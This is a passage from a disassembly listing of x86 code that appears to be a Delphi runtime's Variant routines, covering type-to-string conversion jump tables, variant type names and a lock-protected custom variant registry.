esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E61D: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o lea edx, [ebp+var_24] ; jumptable 2000E49F case 16 movsx eax, byte ptr [ebx+8] call sub_20007160 mov edx, [ebp+var_24] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E638: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o lea edx, [ebp+var_28] ; jumptable 2000E49F case 17 xor eax, eax mov al, [ebx+8] call sub_20007160 mov edx, [ebp+var_28] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E654: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o lea edx, [ebp+var_2C] ; jumptable 2000E49F case 18 movzx eax, word ptr [ebx+8] call sub_20007160 mov edx, [ebp+var_2C] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E66F: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o mov eax, [ebx+8] ; jumptable 2000E49F case 19 xor edx, edx push edx push eax lea eax, [ebp+var_30] call sub_2000724C mov edx, [ebp+var_30] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E68D: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o push dword ptr [ebx+0Ch] ; jumptable 2000E49F case 20 push dword ptr [ebx+8] lea eax, [ebp+var_34] call sub_2000724C mov edx, [ebp+var_34] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E6AA: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o mov eax, [ebx+8] ; jumptable 2000E49F case 12 mov edx, eax mov eax, esi call sub_2000E46C jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E6BB: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o lea edx, [ebp+var_38] ; jumptable 2000E49F cases 9,13 mov eax, ebx call sub_2000E288 mov edx, [ebp+var_38] mov eax, esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E6D4: ; CODE XREF: sub_2000E46C+2Dj ; sub_2000E46C+33j ; DATA XREF: ... mov edx, eax ; default ; jumptable 2000E49F cases 10,14,15 sub dx, 100h jz short loc_2000E6E4 dec dx jz short loc_2000E6F3 jmp short loc_2000E70C ; --------------------------------------------------------------------------- loc_2000E6E4: ; CODE XREF: sub_2000E46C+26Fj mov eax, esi mov edx, [ebx+8] call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E6F3: ; CODE XREF: sub_2000E46C+274j lea edx, [ebp+var_3C] mov eax, ebx call sub_2000E340 mov edx, [ebp+var_3C] mov eax, esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E70C: ; CODE XREF: sub_2000E46C+276j test ah, 40h jz loc_2000E920 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_2000E90A ; default ; jumptable 2000E726 cases 0,1,9,10,13-15 jmp off_2000E72D[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_2000E72D dd offset loc_2000E90A ; DATA XREF: sub_2000E46C+2BAr dd offset loc_2000E90A ; jump table for switch statement dd offset loc_2000E781 dd offset loc_2000E79E dd offset loc_2000E7BA dd offset loc_2000E7DD dd offset loc_2000E800 dd offset loc_2000E81F dd offset loc_2000E83E dd offset loc_2000E90A dd offset loc_2000E90A dd offset loc_2000E84F dd offset loc_2000E8FC dd offset loc_2000E90A dd offset loc_2000E90A dd offset loc_2000E90A dd offset loc_2000E86C dd offset loc_2000E889 dd offset loc_2000E8A6 dd offset loc_2000E8C3 dd offset loc_2000E8E0 ; --------------------------------------------------------------------------- loc_2000E781: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do lea edx, [ebp+var_40] ; jumptable 2000E726 case 2 mov eax, [ebx+8] movsx eax, word ptr [eax] call sub_20007160 mov edx, [ebp+var_40] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E79E: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do lea edx, [ebp+var_44] ; jumptable 2000E726 case 3 mov eax, [ebx+8] mov eax, [eax] call sub_20007160 mov edx, [ebp+var_44] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E7BA: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, [ebx+8] ; jumptable 2000E726 case 4 fld dword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_48] call sub_20008390 mov edx, [ebp+var_48] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E7DD: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, [ebx+8] ; jumptable 2000E726 case 5 fld qword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_4C] call sub_20008390 mov edx, [ebp+var_4C] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E800: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, [ebx+8] ; jumptable 2000E726 case 6 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_50] call sub_2000DA5C mov edx, [ebp+var_50] mov eax, esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E81F: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, [ebx+8] ; jumptable 2000E726 case 7 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_54] call sub_2000DA94 mov edx, [ebp+var_54] mov eax, esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E83E: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, esi ; jumptable 2000E726 case 8 mov edx, [ebx+8] mov edx, [edx] call sub_20004774 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E84F: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do lea edx, [ebp+var_58] ; jumptable 2000E726 case 11 mov eax, [ebx+8] mov ax, [eax] call sub_2000DACC mov edx, [ebp+var_58] mov eax, esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E86C: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do lea edx, [ebp+var_5C] ; jumptable 2000E726 case 16 mov eax, [ebx+8] movsx eax, byte ptr [eax] call sub_20007160 mov edx, [ebp+var_5C] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E889: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do lea edx, [ebp+var_60] ; jumptable 2000E726 case 17 mov eax, [ebx+8] movzx eax, byte ptr [eax] call sub_20007160 mov edx, [ebp+var_60] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E8A6: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do lea edx, [ebp+var_64] ; jumptable 2000E726 case 18 mov eax, [ebx+8] movzx eax, word ptr [eax] call sub_20007160 mov edx, [ebp+var_64] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E8C3: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, [ebx+8] ; jumptable 2000E726 case 19 mov eax, [eax] xor edx, edx push edx push eax lea eax, [ebp+var_68] call sub_2000724C mov edx, [ebp+var_68] mov eax, esi call sub_200047B0 jmp short loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E8E0: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, [ebx+8] ; jumptable 2000E726 case 20 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_6C] call sub_2000724C mov edx, [ebp+var_6C] mov eax, esi call sub_200047B0 jmp short loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E8FC: ; CODE XREF: sub_2000E46C+2BAj ; DATA XREF: sub_2000E46C:off_2000E72Do mov eax, [ebx+8] ; jumptable 2000E726 case 12 mov edx, eax mov eax, esi call sub_2000E46C jmp short loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E90A: ; CODE XREF: sub_2000E46C+2B4j ; sub_2000E46C+2BAj ; DATA XREF: ... lea edx, [ebp+var_70] ; default ; jumptable 2000E726 cases 0,1,9,10,13-15 mov eax, ebx call sub_2000E288 mov edx, [ebp+var_70] mov eax, esi call sub_200046A0 jmp short loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E920: ; CODE XREF: sub_2000E46C+2A3j mov eax, esi call sub_20004664 mov edx, eax mov eax, ebx call sub_2000E3A4 test al, al jnz short loc_2000E948 lea edx, [ebp+var_74] mov eax, ebx call sub_2000E288 mov edx, [ebp+var_74] mov eax, esi call sub_200046A0 loc_2000E948: ; CODE XREF: sub_2000E46C+95j ; sub_2000E46C+BDj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000E9C5 loc_2000E955: ; CODE XREF: sub_2000E46C+557j lea eax, [ebp+var_74] mov edx, 2 call sub_2000467C lea eax, [ebp+var_6C] mov edx, 5 call sub_20003FCC lea eax, [ebp+var_58] mov edx, 3 call sub_2000467C lea eax, [ebp+var_4C] mov edx, 4 call sub_20003FCC lea eax, [ebp+var_3C] mov edx, 2 call sub_2000467C lea eax, [ebp+var_34] mov edx, 5 call sub_20003FCC lea eax, [ebp+var_20] mov edx, 4 call sub_2000467C lea eax, [ebp+var_10] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000E9BE: ; DATA XREF: sub_2000E46C+19o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000E955 ; --------------------------------------------------------------------------- loc_2000E9C5: ; CODE XREF: sub_2000E46C+551j ; DATA XREF: sub_2000E46C+4E4o pop esi pop ebx mov esp, ebp pop ebp retn sub_2000E46C endp ; --------------------------------------------------------------------------- align 4 loc_2000E9CC: ; DATA XREF: CODE:2000F131o cmp word ptr [eax], 8 jb short locret_2000E9EC push dword ptr [eax+0Ch] push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] mov word ptr [eax], 0 mov edx, esp call sub_2000DA18 add esp, 10h locret_2000E9EC: ; CODE XREF: CODE:2000E9D0j retn ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 5 aEmpty db 'Empty',0 ; DATA XREF: DATA:off_20014344o align 10h dword_2000EA00 dd 0FFFFFFFFh, 4, 6C6C754Eh, 0 ; DATA XREF: DATA:20014348o dword_2000EA10 dd 0FFFFFFFFh, 8, 6C616D53h, 746E696Ch, 0 ; DATA XREF: DATA:2001434Co dword_2000EA24 dd 0FFFFFFFFh, 7, 65746E49h, 726567h, 0FFFFFFFFh, 6, 676E6953h ; DATA XREF: DATA:20014350o dd 656Ch, 0FFFFFFFFh, 6, 62756F44h, 656Ch, 0FFFFFFFFh dd 8, 72727543h, 79636E65h, 0 dword_2000EA68 dd 0FFFFFFFFh, 4, 65746144h, 0 ; DATA XREF: DATA:20014360o dword_2000EA78 dd 0FFFFFFFFh, 6, 53656C4Fh, 7274h, 0FFFFFFFFh, 8, 70736944h ; DATA XREF: DATA:20014364o dd 68637461h, 0 dword_2000EA9C dd 0FFFFFFFFh, 5, 6F727245h, 72h, 0FFFFFFFFh, 7, 6C6F6F42h ; DATA XREF: DATA:2001436Co dd 6E6165h, 0FFFFFFFFh, 7, 69726156h, 746E61h, 0FFFFFFFFh dd 7, 6E6B6E55h, 6E776Fh, 0FFFFFFFFh, 7, 69636544h, 6C616Dh dd 0FFFFFFFFh, 3, 463024h, 0FFFFFFFFh, 8, 726F6853h, 746E4974h dd 0 dword_2000EB0C dd 0FFFFFFFFh, 4, 65747942h, 0 ; DATA XREF: DATA:20014388o dword_2000EB1C dd 0FFFFFFFFh, 4, 64726F57h, 0 ; DATA XREF: DATA:2001438Co dword_2000EB2C dd 0FFFFFFFFh, 8, 676E6F4Ch, 64726F57h, 0 ; DATA XREF: DATA:20014390o dword_2000EB40 dd 0FFFFFFFFh, 5, 36746E49h, 34h ; DATA XREF: DATA:20014394o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EB50 proc near ; CODE XREF: sub_2000CFA4+2Ap ; sub_2000CFA4+3Ep ... var_208 = dword ptr -208h var_204 = byte ptr -204h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDF8h push ebx push esi push edi xor ecx, ecx mov [ebp+var_208], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_2000EC76 push dword ptr fs:[eax] mov fs:[eax], esp mov edi, ebx and di, 0FFFh cmp di, 14h ja short loc_2000EB99 mov eax, esi movzx edx, di mov edx, ds:off_20014344[edx*4] call sub_20003FFC jmp loc_2000EC37 ; --------------------------------------------------------------------------- loc_2000EB99: ; CODE XREF: sub_2000EB50+31j cmp bx, 100h jnz short loc_2000EBB1 mov eax, esi mov edx, offset aString ; "String" call sub_20003FFC jmp loc_2000EC37 ; --------------------------------------------------------------------------- loc_2000EBB1: ; CODE XREF: sub_2000EB50+4Ej cmp bx, 101h jnz short loc_2000EBC6 mov eax, esi mov edx, offset dword_2000EC9C call sub_20003FFC jmp short loc_2000EC37 ; --------------------------------------------------------------------------- loc_2000EBC6: ; CODE XREF: sub_2000EB50+66j lea edx, [ebp+var_4] mov eax, ebx call sub_2000EFAC test al, al jz short loc_2000EC0F lea eax, [ebp+var_104] push eax lea edx, [ebp+var_204] mov eax, [ebp+var_4] mov eax, [eax] call sub_2000346C lea eax, [ebp+var_204] mov ecx, 7FFFFFFFh mov edx, 2 call sub_20002798 lea edx, [ebp+var_104] mov eax, esi call sub_2000420C jmp short loc_2000EC37 ; --------------------------------------------------------------------------- loc_2000EC0F: ; CODE XREF: sub_2000EB50+82j lea ecx, [ebp+var_208] movzx eax, di mov edx, 4 call sub_20007274 mov ecx, [ebp+var_208] mov edx, ds:off_20014578 mov edx, [edx] mov eax, esi call sub_20004290 loc_2000EC37: ; CODE XREF: sub_2000EB50+44j ; sub_2000EB50+5Cj ... test bh, 20h jz short loc_2000EC4A mov ecx, [esi] mov eax, esi mov edx, offset dword_2000ECA8 call sub_20004290 loc_2000EC4A: ; CODE XREF: sub_2000EB50+EAj test bh, 40h jz short loc_2000EC5D mov ecx, [esi] mov eax, esi mov edx, offset dword_2000ECB8 call sub_20004290 loc_2000EC5D: ; CODE XREF: sub_2000EB50+FDj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000EC7D loc_2000EC6A: ; CODE XREF: sub_2000EB50+12Bj lea eax, [ebp+var_208] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000EC76: ; DATA XREF: sub_2000EB50+1Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000EC6A ; --------------------------------------------------------------------------- loc_2000EC7D: ; CODE XREF: sub_2000EB50+125j ; DATA XREF: sub_2000EB50+115o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_2000EB50 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 6 aString db 'String',0 ; DATA XREF: sub_2000EB50+52o align 4 dd 0FFFFFFFFh, 3 dword_2000EC9C dd 796E41h, 0FFFFFFFFh, 6 ; DATA XREF: sub_2000EB50+6Ao dword_2000ECA8 dd 61727241h, 2079h, 0FFFFFFFFh, 6 ; DATA XREF: sub_2000EB50+F0o dword_2000ECB8 dd 65527942h, 2066h ; DATA XREF: sub_2000EB50+103o ; =============== S U B R O U T I N E ======================================= sub_2000ECC0 proc near ; CODE XREF: sub_2000ECD8+5p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_2000D6F0 mov word ptr [ebx], 0Ah mov [ebx+8], esi pop esi pop ebx retn sub_2000ECC0 endp ; =============== S U B R O U T I N E ======================================= sub_2000ECD8 proc near ; CODE XREF: CODE:2000F0FBp mov edx, 80020004h call sub_2000ECC0 retn sub_2000ECD8 endp ; --------------------------------------------------------------------------- align 4 off_2000ECE4 dd offset dword_2000ECE8 ; DATA XREF: CODE:2000F091r dword_2000ECE8 dd 302E0311h, 432h, 0 ; DATA XREF: CODE:off_2000ECE4o dd 0FFFFFF00h ; --------------------------------------------------------------------------- jmp dword ptr [edx+ecx*8+0] ; --------------------------------------------------------------------------- dd 61560820h, 6E616972h, 0C08B7374h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000ED08 proc near ; CODE XREF: CODE:2000F07Dp push ebp mov ebp, esp push ebx push esi mov esi, offset dword_20015834 push offset stru_20015838 ; lpCriticalSection call EnterCriticalSection_0 xor edx, edx push ebp push offset loc_2000ED69 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [esi] call sub_20004C88 mov ebx, eax dec ebx cmp ebx, 0 jl short loc_2000ED51 loc_2000ED39: ; CODE XREF: sub_2000ED08+47j mov eax, [esi] mov eax, [eax+ebx*4] cmp eax, ds:dword_20014340 jz short loc_2000ED4B call sub_200034F4 loc_2000ED4B: ; CODE XREF: sub_2000ED08+3Cj dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_2000ED39 loc_2000ED51: ; CODE XREF: sub_2000ED08+2Fj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000ED70 loc_2000ED5E: ; CODE XREF: sub_2000ED08+66j push offset stru_20015838 ; lpCriticalSection call LeaveCriticalSection_0 retn ; --------------------------------------------------------------------------- loc_2000ED69: ; DATA XREF: sub_2000ED08+17o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000ED5E ; --------------------------------------------------------------------------- loc_2000ED70: ; CODE XREF: sub_2000ED08+60j ; DATA XREF: sub_2000ED08+51o pop esi pop ebx pop ebp retn sub_2000ED08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000ED74 proc near ; DATA XREF: CODE:2000CA40o push ebp mov ebp, esp call sub_2000EF34 pop ebp retn 4 sub_2000ED74 endp ; =============== S U B R O U T I N E ======================================= sub_2000ED80 proc near ; DATA XREF: CODE:2000CA2Co var_10 = dword ptr -10h push ebx push esi push edi push ecx mov esi, ecx mov edi, edx mov ebx, eax mov edx, esp mov ax, [esi] call sub_2000EFAC test al, al jz short loc_2000EDAC mov ax, [ebx+4] push eax mov ecx, esi mov edx, edi mov eax, [esp+14h+var_10] mov ebx, [eax] call dword ptr [ebx+1Ch] jmp short loc_2000EDB3 ; --------------------------------------------------------------------------- loc_2000EDAC: ; CODE XREF: sub_2000ED80+16j mov eax, ebx call sub_2000EF2C loc_2000EDB3: ; CODE XREF: sub_2000ED80+2Aj pop edx pop edi pop esi pop ebx retn sub_2000ED80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EDB8 proc near ; DATA XREF: CODE:2000CA30o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, ecx mov [ebp+var_4], edx mov ebx, eax mov edi, [ebp+arg_0] cmp di, [ebx+4] jz short loc_2000EDF0 lea edx, [ebp+var_8] mov ax, [esi] call sub_2000EFAC test al, al jz short loc_2000EDF0 push edi mov ecx, esi mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ebx, [eax] call dword ptr [ebx+1Ch] jmp short loc_2000EDF7 ; --------------------------------------------------------------------------- loc_2000EDF0: ; CODE XREF: sub_2000EDB8+17j ; sub_2000EDB8+26j mov eax, ebx call sub_2000EF2C loc_2000EDF7: ; CODE XREF: sub_2000EDB8+36j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 4 sub_2000EDB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EE00 proc near ; DATA XREF: CODE:2000CA4Co push ebp mov ebp, esp call sub_2000EF34 pop ebp retn 4 sub_2000EE00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EE0C proc near ; DATA XREF: CODE:2000CA48o var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, edx mov esi, eax lea eax, [ebp+var_1] push eax mov edx, edi mov eax, esi mov ebx, [eax] call dword ptr [ebx+38h] xor eax, eax mov al, [ebp+var_1] mov edx, [ebp+arg_0] lea edx, [edx+edx*2] add edx, offset dword_20014398 mov al, [edx+eax-2Ah] pop edi pop esi pop ebx pop ecx pop ebp retn 4 sub_2000EE0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000EE44 proc near ; DATA XREF: CODE:2000CA34o var_14 = word ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov edi, edx mov ebx, eax mov ecx, esp mov edx, esi mov eax, ebx mov ebp, [eax] call dword ptr [ebp+0Ch] test al, al jz short loc_2000EE70 mov ax, [esp+14h+var_14] push eax mov ecx, esi mov edx, edi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+1Ch] jmp short loc_2000EE77 ; --------------------------------------------------------------------------- loc_2000EE70: ; CODE XREF: sub_2000EE44+18j mov eax, ebx call sub_2000EF2C loc_2000EE77: ; CODE XREF: sub_2000EE44+2Aj pop edx pop ebp pop edi pop esi pop ebx retn sub_2000EE44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EE80 proc near ; DATA XREF: CODE:2000CA10o var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h call sub_200037A4 mov [ebp+var_5], dl mov [ebp+var_4], eax push offset stru_20015838 ; lpCriticalSection call EnterCriticalSection_0 xor edx, edx push ebp push offset loc_2000EEE3 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov ax, [eax+4] test ax, ax jz short loc_2000EECB movzx eax, ax mov edx, ds:dword_20015834 mov ecx, ds:dword_20014340 mov [edx+eax*4-400h], ecx loc_2000EECB: ; CODE XREF: sub_2000EE80+33j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000EEEA loc_2000EED8: ; CODE XREF: sub_2000EE80+68j push offset stru_20015838 ; lpCriticalSection call LeaveCriticalSection_0 retn ; --------------------------------------------------------------------------- loc_2000EEE3: ; DATA XREF: sub_2000EE80+1Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000EED8 ; --------------------------------------------------------------------------- loc_2000EEEA: ; CODE XREF: sub_2000EE80+62j ; DATA XREF: sub_2000EE80+53o mov dl, [ebp+var_5] and dl, 0FCh mov eax, [ebp+var_4] call sub_200034E4 cmp [ebp+var_5], 0 jle short loc_2000EF06 mov eax, [ebp+var_4] call sub_2000378C loc_2000EF06: ; CODE XREF: sub_2000EE80+7Cj pop ecx pop ecx pop ebp retn sub_2000EE80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000EF0C proc near ; DATA XREF: CODE:2000CA28o xor eax, eax retn sub_2000EF0C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EF10 proc near ; DATA XREF: CODE:2000CA18o arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ax, [eax+4] mov [edx], ax mov al, 1 pop ebp retn 4 sub_2000EF10 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000EF24 proc near ; DATA XREF: CODE:2000CA20o mov word ptr [ecx], 8 mov al, 1 retn sub_2000EF24 endp ; =============== S U B R O U T I N E ======================================= sub_2000EF2C proc near ; CODE XREF: sub_2000ED80+2Ep ; sub_2000EDB8+3Ap ... call sub_2000CF50 retn sub_2000EF2C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000EF34 proc near ; CODE XREF: sub_2000ED74+3p ; sub_2000EE00+3p ... call sub_2000D040 retn sub_2000EF34 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000EF3C proc near ; CODE XREF: sub_2000EF60+3p call sub_2000D418 retn sub_2000EF3C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EF44 proc near ; DATA XREF: CODE:2000CA1Co arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ax, [eax+4] mov [edx], ax mov al, 1 pop ebp retn 4 sub_2000EF44 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000EF58 proc near ; DATA XREF: CODE:2000CA44o call sub_2000EF34 retn sub_2000EF58 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EF60 proc near ; DATA XREF: CODE:2000CA24o push ebp mov ebp, esp call sub_2000EF3C pop ebp retn 8 sub_2000EF60 endp ; --------------------------------------------------------------------------- loc_2000EF6C: ; CODE XREF: CODE:2000C98Bj push ebp mov ebp, esp or eax, 0FFFFFFFFh pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 loc_2000EF78: ; CODE XREF: CODE:2000C995j push ebp mov ebp, esp or eax, 0FFFFFFFFh pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EF84 proc near ; DATA XREF: CODE:off_2000CA14o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_8] mov edx, [ebp+arg_4] mov eax, ebx call sub_200035A8 test al, al jz short loc_2000EFA0 xor eax, eax jmp short loc_2000EFA5 ; --------------------------------------------------------------------------- loc_2000EFA0: ; CODE XREF: sub_2000EF84+16j mov eax, 80004002h loc_2000EFA5: ; CODE XREF: sub_2000EF84+1Aj pop ebx pop ebp retn 0Ch sub_2000EF84 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000EFAC proc near ; CODE XREF: sub_2000D674+56p ; sub_2000D96C+80p ... var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp ds:dword_20015834, 0 jz short loc_2000EFCE cmp bx, 100h jb short loc_2000EFCE cmp bx, 7FFh jbe short loc_2000EFD2 loc_2000EFCE: ; CODE XREF: sub_2000EFAC+12j ; sub_2000EFAC+19j xor eax, eax jmp short loc_2000EFD4 ; --------------------------------------------------------------------------- loc_2000EFD2: ; CODE XREF: sub_2000EFAC+20j mov al, 1 loc_2000EFD4: ; CODE XREF: sub_2000EFAC+24j mov [ebp+var_1], al cmp [ebp+var_1], 0 jz short loc_2000F05B push offset stru_20015838 ; lpCriticalSection call EnterCriticalSection_0 xor eax, eax push ebp push offset loc_2000F054 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ds:dword_20015834 call sub_20004C88 movzx edi, bx mov edx, edi sub edx, 100h cmp eax, edx setnle [ebp+var_1] cmp [ebp+var_1], 0 jz short loc_2000F03C mov eax, ds:dword_20015834 mov eax, [eax+edi*4-400h] mov [esi], eax cmp dword ptr [esi], 0 jz short loc_2000F033 mov eax, [esi] cmp eax, ds:dword_20014340 jnz short loc_2000F037 loc_2000F033: ; CODE XREF: sub_2000EFAC+7Bj xor eax, eax jmp short loc_2000F039 ; --------------------------------------------------------------------------- loc_2000F037: ; CODE XREF: sub_2000EFAC+85j mov al, 1 loc_2000F039: ; CODE XREF: sub_2000EFAC+89j mov [ebp+var_1], al loc_2000F03C: ; CODE XREF: sub_2000EFAC+68j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000F05B loc_2000F049: ; CODE XREF: sub_2000EFAC+ADj push offset stru_20015838 ; lpCriticalSection call LeaveCriticalSection_0 retn ; --------------------------------------------------------------------------- loc_2000F054: ; DATA XREF: sub_2000EFAC+3Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000F049 ; --------------------------------------------------------------------------- loc_2000F05B: ; CODE XREF: sub_2000EFAC+2Fj ; sub_2000EFAC+A7j ; DATA XREF: ... mov al, [ebp+var_1] pop edi pop esi pop ebx pop ecx pop ebp retn sub_2000EFAC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000F0D3 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015830 jnz short loc_2000F0C5 call sub_2000ED08 push offset stru_20015838 call DeleteCriticalSection_0 mov eax, offset dword_20015834 mov edx, off_2000ECE4 call sub_20004E50 mov eax, offset off_20014344 mov ecx, 15h mov edx, off_20001000 call sub_2000493C mov eax, offset dword_20014338 call sub_20003FA8 mov eax, offset dword_20015810 call sub_2000D704 